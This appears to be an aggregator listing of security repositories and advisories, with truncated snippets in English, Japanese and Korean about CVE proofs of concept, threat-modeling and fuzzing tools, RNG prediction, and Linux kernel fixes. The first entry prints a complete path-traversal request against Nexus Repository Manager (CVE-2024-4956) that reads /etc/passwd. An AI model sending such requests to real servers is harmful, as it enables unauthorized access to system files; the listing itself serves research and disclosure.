CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

pytm

pytm: 脅威モデリングのためのPythonicフレームワーク はじめに 従来の脅威モデリングは、しばしば後手に回りがちで、時には全く行われないこともあります。さらに、手動でのデータフローやレポートの作成は非常に時間がかかる場合があります。pytmの目標は、脅威モデリングを左にシフトし、より自動化され開発者中心のものにすることです。 機能 入力とアーキテクチャ設計の定義に基づいて、pytmは以下の項目を自動的に生成できます: データフロー図 DFD シーケンス図 システムに関連する脅威 要件 Linux/MacOS Python 3.11+ Graphvizパッケージ Java...

Absolutely-Positively-NOT-Hacking-Back-with-Pcap

절대적으로 확실히 Pcap으로 해킹 백하지 않기 높은 확률로 공격자 명령 및 제어 노드를 블루스크린 처리하거나 충돌시키는 예상치 못한 네트워크 바이트 시퀀스 스트리밍 이 내용은 TheSAS2019에서 발표되었습니다: https://www.youtube.com/watch?v=Z1-4-amGdaM...

pytm

pytm: A Pythonic framework for threat modeling Introduction Traditional threat modeling too often comes late to the party, or sometimes not at all. In addition, creating manual data flows and reports can be extremely time-consuming. The goal of pytm is to shift threat modeling to the left, making...

pytm

pytm: 위협 모델링을 위한 파이썬 기반 프레임워크 소개 전통적인 위협 모델링은 너무 늦게 도입되거나 때로는 전혀 이루어지지 않는 경우가 많습니다. 또한 수동으로 데이터 흐름과 보고서를 작성하는 것은 매우 시간이 많이 소요됩니다. pytm의 목표는 위협 모델링을 개발 초기 단계로 옮겨, 보다 자동화되고 개발자 중심적으로 만드는 것입니다. 기능 아키텍처 설계에 대한 입력과 정의를 기반으로 pytm은 다음 항목을 자동으로 생성할 수 있습니다: 데이터 흐름 다이어그램 DFD 시퀀스 다이어그램 시스템에 관련된 위협 요구 사항...

haptyc

Haptyc Test Generation Framework What's Haptyc? Haptyc is a python library which was built to add payload position support and Sniper/Clusterbomb/Batteringram/Pitchfork attack types into Turbo Intruder. While Haptyc accomplishes these goals fairly well it also introduces a simpler way to express...

bst

Binary String Toolkit Summary The Binary String Toolkit or BST for short is a rather simple utility to convert binary strings to various formats suitable for inclusions in source codes, such as those used to develop exploits and Proof of Concepts in the security field. Features Convert and dump...

ML-for-RNGs

ML-for-RNGs 머신러닝을 사용하여 RNG 시퀀스 예측하기...

CVE-2026-23010-CCSDS-Telecommand-Replay-Without-Sequence-Number

CVE-2026-23010 – 시퀀스 번호 없는 CCSDS 텔레커맨드 재전송 프로그램 코드Python 위성 시뮬레이터 satellitesim.py - Spacecraft that executes telecommands without checking sequence number class Satellite: def initself: self.executed = set def receivetcself, cmdid, seqnum: Vulnerability: ignores seqnum, allowing replay of same...

ReplicatedRandom

Node MWC1616 node 폴더의 README를 참조하세요. Java LCG java.util.Random의 nextDouble로 생성된 double이 주어지면, 동일한 상태를 가진 Random을 재생성하십시오. 이 ReplicatedRandom은 원래 Random의 미래 값을 예측하는 데 사용할 수 있습니다. 예제: Random r = new Random; ReplicatedRandom rr = new ReplicatedRandom; rr.replicateStater.nextDouble;...

mountain_goat

안녕, 나는 산양이고 네 TCP 연결을 들이받으려고 해. 왜냐하면 그게 염소다운 짓이거든. 이것은 CVE-2016-5696 Off-Path TCP Exploits: Global Rate Limit Considered Dangerous을 악용하는 기법을 시연하는 PoC입니다. Yue Cao, Zhiyun Qian, Zhongjie Wang, Tuan Dao, Srikanth V. Krishnamurthy, Lisa M. Marvel이 USENIX 25th Security Symposium에서 발표했습니다. 이것은 트래픽 주입 공...

cve-2021-41773-exploration

개요 CVE-2021-41773은 2021년 10월 Apache HTTP Server 2.4.49에서 발견된 경로 탐색path traversal 취약점입니다. 근본 원인은 요청된 경로가 웹 루트 내에 유지되는지 확인하기 전에 URL에 포함된 점dot 시퀀스를 제대로 정규화하지 못한 데 있었습니다. 이 취약점으로 인해 공격자는 웹 루트를 벗어나 서버 파일시스템의 모든 파일에 접근할 수 있었으며, 일부 경우에는 원격 코드 실행까지 권한이 상승할 수 있었습니다. 이 탐구에서 시연된 2가지 공격 벡터 경로 탐색: 파일시스템에서 임의의...

CVE-2026-18963_analyst

Open Source Identity and Access Management Add authentication to applications and secure services with minimum effort. No need to deal with storing users or authenticating users. Keycloak provides user federation, strong authentication, user management, fine-grained authorization, and more. Help...

CVE-2026-28867-PoC

CVE-2026-28867 작동 방식 이 취약점은 tcpsysctlinfo의 커널 구현이 호출 프로세스가 소켓을 소유하고 있는지 또는 root와 같은 상승된 권한을 보유하고 있는지 확인하지 않고 연결에 대한 전역 조회를 수행하기 때문에 존재합니다. 영향 권한이 없는 공격자는 apsd, trustd, cloudd와 같은 루트 또는 시스템 데몬을 포함하여 현재 32비트 시퀀스 번호SND.NXT 및 RCV.NXT를 획득할 수 있습니다...

CVE-2023-33105-Transient-DOS-in-WLAN-Host-and-Firmware

CVE-2023-33105: WLAN 호스트 및 펌웨어의 일시적 DOS 개요 이 리포지토리는 Qualcomm 장치에서 확인된 취약점인 CVE-2023-33105의 익스플로잇 코드를 포함합니다. 이 익스플로잇은 인증 프레임을 활용하여 잘못된 트랜잭션 시퀀스 번호를 가진 대량의 개방형 인증 프레임을 전송함으로써 대상 액세스 포인트AP에 대한 서비스 거부DoS 공격을 수행합니다. CVE ID : CVE-2023-33105 Qualcomm 보안 게시판 : 2024년 3월 게시판 요구 사항 Python 3.x Scapy Termcolo...

poc-cve-2024-38396

CVE-2024-38396 및 CVE-2024-38395 이 PoC는 docker run 또는 단순히 cat을 통해 사용할 수 있습니다. 이 저장소에는 vin01/escape-seq-test:cve-2024-38396에 대한 도커 파일이 포함되어 있습니다. PoC는 OS X에서 계산기를 엽니다. 실행 방법: 예제 1. cat simpler-poc-title-report-code-execution.txt 예제 2. docker run --rm vin01/escape-seq-test:cve-2024-38396...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ublk: The SQE128 flag is validated before accessing the cmd field. The ublkctrlcmddump function accesses the sqe-cmd field before checking the IOURINGFSQE128 flag. This could lead to out-of-boundary memory access. The flag...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: tracing: Fixed an out-of-bounds write in traceseqtobuffer. syzbot reported this bug: ================================================================== Bug: KASAN: Out-of-bounds access in traceseqtobuffer in...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, Linux, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: DCCP: Fixed out-of-bounds access in the DCCP error handler. There was a previous attempt to fix an out-of-bounds access in the DCCP error handlers, but that fix assumed that the error handlers only wanted to access the first 8...

Astra Linux – Vulnerability in Linux 5.10, Linux, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: crypto: seqiv – Properly handles the EBUSY error. Since seqiv only handles the special return value of EINPROGERSS, it means that in all other cases, it will free the data related to the request. However, since the caller of seqi...